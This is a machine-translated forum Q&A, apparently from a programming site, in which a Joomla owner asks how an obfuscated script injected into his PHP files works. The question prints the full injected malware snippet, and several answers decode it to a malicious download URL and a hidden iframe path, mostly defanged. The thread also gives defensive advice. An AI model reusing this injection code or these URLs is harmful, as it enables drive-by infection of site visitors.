Как этот беспорядок работает?


Мой Сайт Joomla! сайт был неоднократно взломан. Кто-то, так или иначе, сумел внедрить следующий мусор в ключевые скрипты php, но я имею в виду не говорить о настройке Joomla. Сайт не посещается много (иногда я боюсь, что я могу быть единственным посетителем этого сайта...) и я не очень хочу, чтобы сайт был восстановлен и запущен. Я разберусь с этим в конце концов.

мой вопрос в том, как этот мусор работает? Я смотрю на это, и я просто не вижу, как это удается сделать ничего страшного? То, что он делает, это пытается загрузить PDF-файл под названием ChangeLog.pdf, который заражен трояном и после открытия заморозит ваш Acrobat и посеет хаос на вашей машине. Как он это делает, я не знаю, мне все равно. Но как следующий фрагмент скрипта вызывает загрузку?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|$|@|^|&|(|)|!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET обнаружил этот код JS / TrojanDownloader.Агент.Троян НРО

8 92

8 ответов:

обратите внимание на replace вызов после гигантской грязной строки:.replace(/#|$|@|\^|&|\(|\)|\!/ig, '').

он удаляет большинство специальных символов, превращая его в обычный url:

evil://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

(Я вручную изменил http: до evil:)

обратите внимание, что регулярное выражение можно было бы упростить до .replace(/[#$@^&()!]/ig, '')

если вы посмотрите на скрипт, вы увидите, что это очень простой скрипт, который вводит скрытый IFRAME, содержащий путь /index.php?ys из того же домена.

I запросил эту страницу в Fiddler, и у нее не было контента.

эти ответы могут помочь вам понять природу вредоносного кода JavaScript, но то, что вы должны искать, - это способ закрыть лазейку, присущую движку Joomla. Предварительно упакованные фреймворки склонны к лазейкам, преднамеренным или непреднамеренным, особенно если учесть, что они спроектированы для работы в средах unix, mac и windows.

моя работа требует, чтобы я запускал много доменов, приложений и фреймворков на многих типах серверы и системы для клиентов и для себя. Со временем я видел все больше и больше ботов, ползающих по этим системам, ищущих известные лазейки/входы через задние двери, созданные этими фреймворками. Хорошо, когда я использую любой тип фреймворка, что я редко делаю, я обязательно переименую большинство, если не всю файловую структуру, чтобы избавиться от этих досадных лазеек/задних дверей. По крайней мере, вы можете переименовать каталоги, которые сбросят большинство ботов, но мой способ-полностью устранить ссылки, которые дают ключ к пониманию природы фреймворка, который включает в себя переименование всей файловой структуры, а не только каталогов. Всегда держите карту новых соглашений об именах относительно старых соглашений об именах, чтобы сделать добавление плагинов в базовую структуру оснасткой. Как только вы поймете это, вы можете пойти так далеко, как программно переименовывать всю структуру файлов фреймворка для более быстрых результатов, это особенно полезно, когда приходится иметь дело с клиентами, которым нужно иметь возможность чтобы обновить их рамки с плагинами и тому подобное.

Он просто делает регулярное выражение заменить на url скрипта, чтобы дать вам

примечание: не переходите по ссылке ниже (вставлено ** для сдерживания копипастеров)

http**://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

как src

он использует функцию replace для замены мусорных символов с помощью регулярного выражения, ничего плохого в коде:

 ........replace(/#|$|@|\^|&|\(|\)|\!/ig, '')

его скрипт загрузки из

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/softonic.com/softonic.com/google.com/livejasmin.com/videosz.com/

и что скрипт загружается iframe Из с видимостью hidden

h..p://dyndns-org.gamestop.com.mybestyouxi-cn.genuinehollywood.ru:8080/index.php?ys

когда вы читаете все это, вы обнаружите, что это строка, за которой следует команда replace.

У меня же sript на моих страницах в индексе*.* архив. Я пишу свой собственный код на PHP. Мой вопрос не в том, как это работает, но я спрашиваю, как защитить, если вы знаете их бэкдоры. Я изменил формы и чтение $_POST и $_GET с заменой и http: / / etc.

мои два цента. Вы можете установить инструмент резервного копирования для Joomla, такие как Joomlapack?

Я установил его для запуска через сценарий CHRON, чтобы держать товар под рукой в случае, если грабители доберутся до ограбления.

какую версию Joomla вы используете?

1.0.Версии X больше не обновляются, и это действительно начинает показывать возраст. Вы должны сделать резервную копию и планировать обновление до 1.5 и предвидеть чудеса 1.6